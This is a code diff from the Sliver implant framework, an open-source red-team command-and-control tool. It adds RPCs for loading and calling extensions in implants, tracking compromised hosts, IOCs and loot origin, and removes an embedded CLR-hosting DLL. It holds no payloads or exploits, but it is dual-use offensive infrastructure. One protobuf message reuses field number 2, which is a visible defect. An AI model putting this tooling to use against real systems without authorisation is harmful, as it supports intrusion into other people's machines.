 func _SliverRPC_Generate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
 	in := new(clientpb.GenerateReq)
 	if err := dec(in); err != nil {
@@ -3082,6 +3256,60 @@ func _SliverRPC_GetPrivs_Handler(srv interface{}, ctx context.Context, dec func(
 	return interceptor(ctx, in, info, handler)
 }
 
+func _SliverRPC_RegisterExtension_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+	in := new(sliverpb.RegisterExtensionReq)
+	if err := dec(in); err != nil {
+		return nil, err
+	}
+	if interceptor == nil {
+		return srv.(SliverRPCServer).RegisterExtension(ctx, in)
+	}
+	info := &grpc.UnaryServerInfo{
+		Server:     srv,
+		FullMethod: "/rpcpb.SliverRPC/RegisterExtension",
+	}
+	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+		return srv.(SliverRPCServer).RegisterExtension(ctx, req.(*sliverpb.RegisterExtensionReq))
+	}
+	return interceptor(ctx, in, info, handler)
+}
+
+func _SliverRPC_CallExtension_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+	in := new(sliverpb.CallExtensionReq)
+	if err := dec(in); err != nil {
+		return nil, err
+	}
+	if interceptor == nil {
+		return srv.(SliverRPCServer).CallExtension(ctx, in)
+	}
+	info := &grpc.UnaryServerInfo{
+		Server:     srv,
+		FullMethod: "/rpcpb.SliverRPC/CallExtension",
+	}
+	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+		return srv.(SliverRPCServer).CallExtension(ctx, req.(*sliverpb.CallExtensionReq))
+	}
+	return interceptor(ctx, in, info, handler)
+}
+
+func _SliverRPC_ListExtensions_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+	in := new(sliverpb.ListExtensionsReq)
+	if err := dec(in); err != nil {
+		return nil, err
+	}
+	if interceptor == nil {
+		return srv.(SliverRPCServer).ListExtensions(ctx, in)
+	}
+	info := &grpc.UnaryServerInfo{
+		Server:     srv,
+		FullMethod: "/rpcpb.SliverRPC/ListExtensions",
+	}
+	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+		return srv.(SliverRPCServer).ListExtensions(ctx, req.(*sliverpb.ListExtensionsReq))
+	}
+	return interceptor(ctx, in, info, handler)
+}
+
 func _SliverRPC_WGStartPortForward_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
 	in := new(sliverpb.WGPortForwardStartReq)
 	if err := dec(in); err != nil {
@@ -3404,6 +3632,22 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
 			MethodName: "LootAllOf",
 			Handler:    _SliverRPC_LootAllOf_Handler,
 		},
+		{
+			MethodName: "Hosts",
+			Handler:    _SliverRPC_Hosts_Handler,
+		},
+		{
+			MethodName: "Host",
+			Handler:    _SliverRPC_Host_Handler,
+		},
+		{
+			MethodName: "HostRm",
+			Handler:    _SliverRPC_HostRm_Handler,
+		},
+		{
+			MethodName: "HostIOCRm",
+			Handler:    _SliverRPC_HostIOCRm_Handler,
+		},
 		{
 			MethodName: "Generate",
 			Handler:    _SliverRPC_Generate_Handler,
@@ -3664,6 +3908,18 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
 			MethodName: "GetPrivs",
 			Handler:    _SliverRPC_GetPrivs_Handler,
 		},
+		{
+			MethodName: "RegisterExtension",
+			Handler:    _SliverRPC_RegisterExtension_Handler,
+		},
+		{
+			MethodName: "CallExtension",
+			Handler:    _SliverRPC_CallExtension_Handler,
+		},
+		{
+			MethodName: "ListExtensions",
+			Handler:    _SliverRPC_ListExtensions_Handler,
+		},
 		{
 			MethodName: "WGStartPortForward",
 			Handler:    _SliverRPC_WGStartPortForward_Handler,

protobuf/sliverpb/constants.go

@@ -251,6 +251,14 @@ const (
 
 	// MsgRegistryListValuesReq - List registry values
 	MsgRegistryListValuesReq
+	// MsgRegisterExtensionReq - Register a new extension
+	MsgRegisterExtensionReq
+
+	// MsgCallExtensionReq - Run an extension command
+	MsgCallExtensionReq
+
+	// MsgListExtensionsReq - List loaded extensions
+	MsgListExtensionsReq
 )
 
 // Constants to replace enums
@@ -480,6 +488,15 @@ func MsgNumber(request proto.Message) uint32 {
 		return MsgRegistrySubKeysListReq
 	case *RegistryListValuesReq:
 		return MsgRegistryListValuesReq
+
+	case *RegisterExtensionReq:
+		return MsgRegisterExtensionReq
+
+	case *CallExtensionReq:
+		return MsgCallExtensionReq
+
+	case *ListExtensionsReq:
+		return MsgListExtensionsReq
 	}
 
 	return uint32(0)

protobuf/sliverpb/sliver.proto

@@ -190,6 +190,7 @@ message UploadReq {
   string Path = 1;
   string Encoder = 2;
   bytes Data = 3;
+  bool IsIOC = 4;
 
   commonpb.Request Request = 9;
 }
@@ -827,5 +828,46 @@ message WindowsPrivilegeEntry {
 message GetPrivs {
   repeated WindowsPrivilegeEntry PrivInfo = 1;
 
+  commonpb.Response Response = 9;
+}
+
+// Extensions
+
+message RegisterExtensionReq {
+  string Name = 1;
+  bytes Data = 2;
+  string OS = 3;
+  string Init = 4;
+
+  commonpb.Request Request = 9;
+}
+
+message RegisterExtension {
+  commonpb.Response Response = 9;
+}
+
+message CallExtensionReq {
+  string Name = 1;
+  string Export = 2;
+  bytes Args = 3;
+  bool ServerStore = 2;
+
+  commonpb.Request Request = 9;
+}
+
+message CallExtension {
+  bytes Output = 1;
+  bool ServerStore = 2;
+
+  commonpb.Response Response = 9;
+}
+
+message ListExtensionsReq {
+  commonpb.Request Request = 9;
+}
+
+message ListExtensions {
+  repeated string Names = 1;
+
   commonpb.Response Response = 9;
 }

server/assets/assets.go

@@ -42,8 +42,7 @@ import (
 
 const (
 	// GoDirName - The directory to store the go compiler/toolchain files in
-	GoDirName  = "go"
-	dllDirName = "dll"
+	GoDirName = "go"
 
 	goPathDirName   = "gopath"
 	versionFileName = "version"
@@ -76,12 +75,6 @@ func GetRootAppDir() string {
 	return dir
 }
 
-// GetDllDir - Returns the full path to the data directory
-func GetDllDir() string {
-	dir := path.Join(GetRootAppDir(), dllDirName)
-	return dir
-}
-
 func assetVersion() string {
 	appDir := GetRootAppDir()
 	data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
@@ -110,7 +103,6 @@ func Setup(force bool, echo bool) {
 		}
 		setupGo(appDir)
 		setupCodenames(appDir)
-		setupDllPath(appDir)
 		saveAssetVersion(appDir)
 	}
 }
@@ -263,22 +255,6 @@ func SetupGoPath(goPathSrc string) error {
 	return nil
 }
 
-// setupDllPath - Sets the data directory up
-func setupDllPath(appDir string) error {
-	dataDir := GetDllDir()
-	if _, err := os.Stat(dataDir); os.IsNotExist(err) {
-		setupLog.Infof("Creating data directory: %s", dataDir)
-		os.MkdirAll(dataDir, 0700)
-	}
-	hostingDll, err := assetsFs.ReadFile(path.Join("fs", "dll", "HostingCLRx64.dll"))
-	if err != nil {
-		setupLog.Info("failed to find the dll")
-		return err
-	}
-	err = ioutil.WriteFile(path.Join(dataDir, "HostingCLRx64.dll"), hostingDll, 0600)
-	return err
-}
-
 func unzipGoDependency(fsPath string, targetPath string) error {
 	setupLog.Infof("Unpacking go dependency %s -> %s", fsPath, targetPath)
 

server/assets/assets_darwin_amd64.go

@@ -5,6 +5,6 @@ package assets
 import "embed"
 
 var (
-	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/darwin/amd64/*
+	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/amd64/*
 	assetsFs embed.FS
 )

server/assets/assets_darwin_arm64.go

@@ -5,6 +5,6 @@ package assets
 import "embed"
 
 var (
-	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/darwin/arm64/*
+	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/arm64/*
 	assetsFs embed.FS
 )

server/assets/assets_linux_amd64.go

@@ -5,6 +5,6 @@ package assets
 import "embed"
 
 var (
-	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/linux/amd64/*
+	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/amd64/*
 	assetsFs embed.FS
 )

server/assets/assets_windows_amd64.go

@@ -5,6 +5,6 @@ package assets
 import "embed"
 
 var (
-	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/dll/*.dll fs/windows/amd64/*
+	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/windows/amd64/*
 	assetsFs embed.FS
 )

server/assets/fs/dll/LICENSE

@@ -1,29 +0,0 @@
-BSD 3-Clause License
-
-Copyright (c) 2018, b4rtik
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-1. Redistributions of source code must retain the above copyright notice, this
-   list of conditions and the following disclaimer.
-
-2. Redistributions in binary form must reproduce the above copyright notice,
-   this list of conditions and the following disclaimer in the documentation
-   and/or other materials provided with the distribution.
-
-3. Neither the name of the copyright holder nor the names of its
-   contributors may be used to endorse or promote products derived from
-   this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
-CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
-OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

server/console/console.go

@@ -113,5 +113,4 @@ func serverOnlyCmds(console *clientconsole.SliverConsoleClient) {
 		},
 		HelpGroup: consts.MultiplayerHelpGroup,
 	})
-
 }

server/core/hosts.go

@@ -0,0 +1,71 @@
+package core
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/server/db"
+	"github.com/bishopfox/sliver/server/db/models"
+	"github.com/bishopfox/sliver/server/log"
+	"github.com/gofrs/uuid"
+	"gorm.io/gorm"
+)
+
+var (
+	coreLog = log.NamedLogger("core", "hosts")
+)
+
+func StartEventAutomation() {
+	go func() {
+		for event := range EventBroker.Subscribe() {
+			switch event.EventType {
+
+			case consts.SessionOpenedEvent:
+				if event.Session != nil {
+					hostsSessionCallback(event.Session)
+				}
+			}
+
+		}
+	}()
+}
+
+// Triggered on new sessione events, checks to see if the host is in
+// the database and adds it if not.
+func hostsSessionCallback(session *Session) {
+	dbSession := db.Session()
+	_, err := db.HostByHostUUID(session.UUID)
+	if err != nil && err != gorm.ErrRecordNotFound {
+		coreLog.Error(err)
+		return
+	}
+	if err == gorm.ErrRecordNotFound {
+		err := dbSession.Create(&models.Host{
+			HostUUID:      uuid.FromStringOrNil(session.UUID),
+			Hostname:      session.Hostname,
+			OSVersion:     session.Os,
+			IOCs:          []models.IOC{},
+			ExtensionData: []models.ExtensionData{},
+		}).Error
+		if err != nil {
+			coreLog.Error(err)
+			return
+		}
+	}
+}

server/core/sessions.go

@@ -72,6 +72,7 @@ type Session struct {
 	ProxyURL          string
 	PollInterval      uint32
 	Burned            bool
+	Extensions        []string
 }
 
 // ToProtobuf - Get the protobuf version of the object

server/db/helpers.go

@@ -25,6 +25,7 @@ package db
 
 import (
 	"github.com/bishopfox/sliver/server/db/models"
+	"github.com/gofrs/uuid"
 	"gorm.io/gorm"
 )
 
@@ -188,3 +189,44 @@ func WGPeerIPs() ([]string, error) {
 	}
 	return ips, nil
 }
+
+// ListHosts - List of all hosts in the database
+func ListHosts() ([]*models.Host, error) {
+	hosts := []*models.Host{}
+	err := Session().Where(
+		&models.Host{},
+	).Preload("IOCs").Preload("ExtensionData").Find(&hosts).Error
+	return hosts, err
+}
+
+// HostByHostID - Get host by the session's reported HostUUID
+func HostByHostID(id uuid.UUID) (*models.Host, error) {
+	host := models.Host{}
+	err := Session().Where(&models.Host{ID: id}).First(&host).Error
+	if err != nil {
+		return nil, err
+	}
+	return &host, nil
+}
+
+// HostByHostUUID - Get host by the session's reported HostUUID
+func HostByHostUUID(id string) (*models.Host, error) {
+	host := models.Host{}
+	err := Session().Where(
+		&models.Host{HostUUID: uuid.FromStringOrNil(id)},
+	).Preload("IOCs").Preload("ExtensionData").Find(&host).Error
+
+	if err != nil {
+		return nil, err
+	}
+	return &host, nil
+}
+
+// IOCByID - Select an IOC by ID
+func IOCByID(id string) (*models.IOC, error) {
+	ioc := &models.IOC{}
+	err := Session().Where(
+		&models.IOC{ID: uuid.FromStringOrNil(id)},
+	).First(ioc).Error
+	return ioc, err
+}

server/db/models/host.go

@@ -0,0 +1,133 @@
+package models
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"time"
+
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/gofrs/uuid"
+	"gorm.io/gorm"
+)
+
+// Host - Represents a host machine
+type Host struct {
+	gorm.Model
+
+	ID        uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
+	HostUUID  uuid.UUID `gorm:"type:uuid;"`
+	CreatedAt time.Time `gorm:"->;<-:create;"`
+
+	Hostname  string
+	OSVersion string // Verbore OS version
+
+	IOCs          []IOC
+	ExtensionData []ExtensionData
+}
+
+// BeforeCreate - GORM hook
+func (h *Host) BeforeCreate(tx *gorm.DB) (err error) {
+	h.ID, err = uuid.NewV4()
+	if err != nil {
+		return err
+	}
+	h.CreatedAt = time.Now()
+	return nil
+}
+
+func (h *Host) ToProtobuf() *clientpb.Host {
+	return &clientpb.Host{
+		HostUUID:      h.HostUUID.String(),
+		Hostname:      h.Hostname,
+		OSVersion:     h.OSVersion,
+		IOCs:          h.iocsToProtobuf(),
+		ExtensionData: h.extensionDataToProtobuf(),
+	}
+}
+
+func (h *Host) iocsToProtobuf() []*clientpb.IOC {
+	iocs := []*clientpb.IOC{}
+	for _, dbIOC := range h.IOCs {
+		iocs = append(iocs, dbIOC.ToProtobuf())
+	}
+	return iocs
+}
+
+func (h *Host) extensionDataToProtobuf() map[string]*clientpb.ExtensionData {
+	extData := map[string]*clientpb.ExtensionData{}
+	for _, dbExtData := range h.ExtensionData {
+		extData[dbExtData.Name] = &clientpb.ExtensionData{
+			Output: dbExtData.Output,
+		}
+	}
+	return extData
+}
+
+// IOC - Represents an indicator of compromise, generally a file we've
+// uploaded to a remote system.
+type IOC struct {
+	gorm.Model
+
+	ID        uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
+	HostID    uuid.UUID `gorm:"type:uuid;"`
+	CreatedAt time.Time `gorm:"->;<-:create;"`
+
+	Path     string
+	FileHash string
+}
+
+// BeforeCreate - GORM hook
+func (i *IOC) BeforeCreate(tx *gorm.DB) (err error) {
+	i.ID, err = uuid.NewV4()
+	if err != nil {
+		return err
+	}
+	i.CreatedAt = time.Now()
+	return nil
+}
+
+func (i *IOC) ToProtobuf() *clientpb.IOC {
+	return &clientpb.IOC{
+		Path:     i.Path,
+		FileHash: i.FileHash,
+	}
+}
+
+// ExtensionData - Represents an indicator of compromise, generally a file we've
+// uploaded to a remote system.
+type ExtensionData struct {
+	gorm.Model
+
+	ID        uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
+	HostID    uuid.UUID `gorm:"type:uuid;"`
+	CreatedAt time.Time `gorm:"->;<-:create;"`
+
+	Name   string
+	Output string
+}
+
+// BeforeCreate - GORM hook
+func (e *ExtensionData) BeforeCreate(tx *gorm.DB) (err error) {
+	e.ID, err = uuid.NewV4()
+	if err != nil {
+		return err
+	}
+	e.CreatedAt = time.Now()
+	return nil
+}

server/db/models/loot.go

@@ -36,6 +36,8 @@ type Loot struct {
 	FileType       int
 	CredentialType int
 	Name           string
+
+	OriginHost uuid.UUID `gorm:"type:uuid;"`
 }
 
 // BeforeCreate - GORM hook

server/db/models/website.go

@@ -61,7 +61,7 @@ type WebContent struct {
 	// gorm.Model
 
 	ID        uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
-	WebsiteID uuid.UUID
+	WebsiteID uuid.UUID `gorm:"type:uuid;"`
 
 	Path        string `gorm:"primaryKey"`
 	Size        int

server/db/sql.go

@@ -54,6 +54,9 @@ func newDBClient() *gorm.DB {
 	err := dbClient.AutoMigrate(
 		&models.DNSCanary{},
 		&models.Certificate{},
+		&models.Host{},
+		&models.IOC{},
+		&models.ExtensionData{},
 		&models.ImplantC2{},
 		&models.ImplantConfig{},
 		&models.ImplantBuild{},

server/generate/srcfiles.go

@@ -41,6 +41,9 @@ var (
 		"evasion/evasion_linux.go",
 		"evasion/evasion_windows.go",
 
+		"extension/extension.go",
+		"extension/extension_windows.go",
+
 		"forwarder/forwarder.go",
 		"forwarder/socks.go",
 		"forwarder/portforward.go",

server/rpc/rpc-extensions.go

@@ -0,0 +1,37 @@
+package rpc
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+// RegisterExtension registers a new extension in the implant
+func (rpc *Server) RegisterExtension(ctx context.Context, req *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error) {
+	resp := &sliverpb.RegisterExtension{}
+	err := rpc.GenericHandler(req, resp)
+	if err != nil {
+		return nil, err
+	}
+	return resp, nil
+}
+
+// ListExtensions lists the registered extensions
+func (rpc *Server) ListExtensions(ctx context.Context, req *sliverpb.ListExtensionsReq) (*sliverpb.ListExtensions, error) {
+	resp := &sliverpb.ListExtensions{}
+	err := rpc.GenericHandler(req, resp)
+	if err != nil {
+		return nil, err
+	}
+	return resp, nil
+}
+
+// CallExtension calls a specific export of the loaded extension
+func (rpc *Server) CallExtension(ctx context.Context, req *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error) {
+	resp := &sliverpb.CallExtension{}
+	err := rpc.GenericHandler(req, resp)
+	if err != nil {
+		return nil, err
+	}
+	return resp, nil
+}

server/rpc/rpc-filesystem.go

@@ -20,8 +20,18 @@ package rpc
 
 import (
 	"context"
+	"crypto/sha256"
+	"fmt"
 
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/server/core"
+	"github.com/bishopfox/sliver/server/db"
+	"github.com/bishopfox/sliver/server/db/models"
+	"github.com/bishopfox/sliver/server/log"
+)
+
+var (
+	fsLog = log.NamedLogger("rcp", "fs")
 )
 
 // Ls - List a directory
@@ -91,5 +101,37 @@ func (rpc *Server) Upload(ctx context.Context, req *sliverpb.UploadReq) (*sliver
 	if err != nil {
 		return nil, err
 	}
+	if req.IsIOC {
+		go trackIOC(req, resp)
+	}
 	return resp, nil
 }
+
+func trackIOC(req *sliverpb.UploadReq, resp *sliverpb.Upload) {
+	fsLog.Debugf("Adding IOC to database ...")
+	request := req.GetRequest()
+	if request == nil {
+		fsLog.Error("No request for upload")
+		return
+	}
+	session := core.Sessions.Get(request.SessionID)
+	if session == nil {
+		fsLog.Error("No session for upload request")
+		return
+	}
+	host, err := db.HostByHostUUID(session.UUID)
+	if err != nil {
+		fsLog.Errorf("No host for session uuid %v", session.UUID)
+		return
+	}
+
+	sum := sha256.Sum256(req.Data)
+	ioc := &models.IOC{
+		HostID:   host.ID,
+		Path:     resp.Path,
+		FileHash: fmt.Sprintf("%x", sum),
+	}
+	if db.Session().Create(ioc).Error != nil {
+		fsLog.Error("Failed to create IOC")
+	}
+}

server/rpc/rpc-hosts.go

@@ -0,0 +1,80 @@
+package rpc
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/server/db"
+	"github.com/bishopfox/sliver/server/log"
+)
+
+var (
+	hostsRPCLog = log.NamedLogger("rpc", "hosts")
+)
+
+// Hosts - List all hosts
+func (rpc *Server) Hosts(ctx context.Context, _ *commonpb.Empty) (*clientpb.AllHosts, error) {
+	dbHosts, err := db.ListHosts()
+	if err != nil {
+		return nil, err
+	}
+	hosts := []*clientpb.Host{}
+	for _, dbHost := range dbHosts {
+		hosts = append(hosts, dbHost.ToProtobuf())
+	}
+	return &clientpb.AllHosts{Hosts: hosts}, nil
+}
+
+// Host - Host by ID
+func (rpc *Server) Host(ctx context.Context, req *clientpb.Host) (*clientpb.Host, error) {
+	dbHost, err := db.HostByHostUUID(req.HostUUID)
+	if err != nil {
+		return nil, err
+	}
+	return dbHost.ToProtobuf(), nil
+}
+
+// HostRm - Remove a host from the database
+func (rpc *Server) HostRm(ctx context.Context, req *clientpb.Host) (*commonpb.Empty, error) {
+	dbHost, err := db.HostByHostUUID(req.HostUUID)
+	if err != nil {
+		return nil, err
+	}
+	err = db.Session().Delete(dbHost).Error
+	if err != nil {
+		return nil, err
+	}
+	return &commonpb.Empty{}, nil
+}
+
+// HostIOCRm - Remove a host from the database
+func (rpc *Server) HostIOCRm(ctx context.Context, req *clientpb.IOC) (*commonpb.Empty, error) {
+	dbIOC, err := db.IOCByID(req.ID)
+	if err != nil {
+		return nil, err
+	}
+	err = db.Session().Delete(dbIOC).Error
+	if err != nil {
+		return nil, err
+	}
+	return &commonpb.Empty{}, nil
+}

server/rpc/rpc-sessions.go

@@ -130,6 +130,9 @@ func (rpc *Server) UpdateSession(ctx context.Context, update *clientpb.UpdateSes
 		}
 		session.Request(sliverpb.MsgNumber(&req), rpc.getTimeout(&req), data)
 	}
+	if len(update.Extensions) != 0 {
+		session.Extensions = update.Extensions
+	}
 	core.Sessions.UpdateSession(session)
 	resp = session.ToProtobuf()
 	return resp, nil

server/rpc/rpc.go

@@ -74,6 +74,7 @@ type GenericResponse interface {
 
 // NewServer - Create new server instance
 func NewServer() *Server {
+	core.StartEventAutomation()
 	return &Server{}
 }
 

util/encoders/gzip.go

@@ -1,10 +1,5 @@
 package encoders
 
-import (
-	"bytes"
-	"compress/gzip"
-)
-
 /*
 	Sliver Implant Framework
 	Copyright (C) 2019  Bishop Fox
@@ -23,6 +18,11 @@ import (
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
+import (
+	"bytes"
+	"compress/gzip"
+)
+
 // GzipEncoderID - EncoderID
 const GzipEncoderID = 49
 

util/encoders/hex.go

@@ -1,7 +1,5 @@
 package encoders
 
-import "encoding/hex"
-
 /*
 	Sliver Implant Framework
 	Copyright (C) 2019  Bishop Fox
@@ -20,6 +18,8 @@ import "encoding/hex"
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
+import "encoding/hex"
+
 // HexEncoderID - EncoderID
 const HexEncoderID = 92
 

vendor/github.com/jedib0t/go-pretty/v6/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2018 jedib0t
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

vendor/github.com/jedib0t/go-pretty/v6/table/README.md

@@ -0,0 +1,446 @@
+# Table
+[![Go Reference](https://pkg.go.dev/badge/github.com/jedib0t/go-pretty/v6/table.svg)](https://pkg.go.dev/github.com/jedib0t/go-pretty/v6/table)
+
+Pretty-print tables into ASCII/Unicode strings.
+
+  - Add Rows one-by-one or as a group (`AppendRow`/`AppendRows`)
+  - Add Header(s) and Footer(s) (`AppendHeader`/`AppendFooter`)
+  - Add a Separator manually after any Row (`AppendSeparator`)
+  - Auto Index Rows (1, 2, 3 ...) and Columns (A, B, C, ...) (`SetAutoIndex`)
+  - Auto Merge
+    - Cells in a Row (`RowConfig.AutoMerge`)
+    - Columns (`ColumnConfig.AutoMerge`)
+  - Limit the length of
+    - Rows (`SetAllowedRowLength`)
+    - Columns (`ColumnConfig.Width*`)
+  - Page results by a specified number of Lines (`SetPageSize`)
+  - Alignment - Horizontal & Vertical
+    - Auto (horizontal) Align (numeric columns aligned Right)
+    - Custom (horizontal) Align per column (`ColumnConfig.Align*`)
+    - Custom (vertical) VAlign per column with multi-line cell support (`ColumnConfig.VAlign*`)
+  - Mirror output to an `io.Writer` (ex. `os.StdOut`) (`SetOutputMirror`)
+  - Sort by one or more Columns (`SortBy`)
+  - Suppress/hide columns with no content (`SuppressEmptyColumns`) 
+  - Customizable Cell rendering per Column (`ColumnConfig.Transformer*`)
+  - Hide any columns that you don't want displayed (`ColumnConfig.Hidden`)
+  - Reset Headers/Rows/Footers at will to reuse the same Table Writer (`Reset*`)
+  - Completely customizable styles (`SetStyle`/`Style`)
+    - Many ready-to-use styles: [style.go](style.go)
+    - Colorize Headers/Body/Footers using [../text/color.go](../text/color.go)
+    - Custom text-case for Headers/Body/Footers
+    - Enable separators between each row
+    - Render table without a Border
+    - and a lot more...
+  - Render as:
+    - (ASCII/Unicode) Table
+    - CSV
+    - HTML Table (with custom CSS Class)
+    - Markdown Table
+
+
+```
++---------------------------------------------------------------------+
+| Game of Thrones                                                     +
++-----+------------+-----------+--------+-----------------------------+
+|   # | FIRST NAME | LAST NAME | SALARY |                             |
++-----+------------+-----------+--------+-----------------------------+
+|   1 | Arya       | Stark     |   3000 |                             |
+|  20 | Jon        | Snow      |   2000 | You know nothing, Jon Snow! |
+| 300 | Tyrion     | Lannister |   5000 |                             |
++-----+------------+-----------+--------+-----------------------------+
+|     |            | TOTAL     |  10000 |                             |
++-----+------------+-----------+--------+-----------------------------+
+```
+
+A demonstration of all the capabilities can be found here:
+[../cmd/demo-table](../cmd/demo-table)
+
+If you want very specific examples, read ahead.
+
+# Examples
+
+All the examples below are going to start with the following block, although
+nothing except a single Row is mandatory for the `Render()` function to render
+something:
+```golang
+package main
+
+import (
+    "os"
+
+    "github.com/jedib0t/go-pretty/v6/table"
+)
+
+func main() {
+    t := table.NewWriter()
+    t.SetOutputMirror(os.Stdout)
+    t.AppendHeader(table.Row{"#", "First Name", "Last Name", "Salary"})
+    t.AppendRows([]table.Row{
+        {1, "Arya", "Stark", 3000},
+        {20, "Jon", "Snow", 2000, "You know nothing, Jon Snow!"},
+    })
+    t.AppendSeparator()
+    t.AppendRow([]interface{}{300, "Tyrion", "Lannister", 5000})
+    t.AppendFooter(table.Row{"", "", "Total", 10000})
+    t.Render()
+}
+```
+Running the above will result in:
+```
++-----+------------+-----------+--------+-----------------------------+
+|   # | FIRST NAME | LAST NAME | SALARY |                             |
++-----+------------+-----------+--------+-----------------------------+
+|   1 | Arya       | Stark     |   3000 |                             |
+|  20 | Jon        | Snow      |   2000 | You know nothing, Jon Snow! |
++-----+------------+-----------+--------+-----------------------------+
+| 300 | Tyrion     | Lannister |   5000 |                             |
++-----+------------+-----------+--------+-----------------------------+
+|     |            | TOTAL     |  10000 |                             |
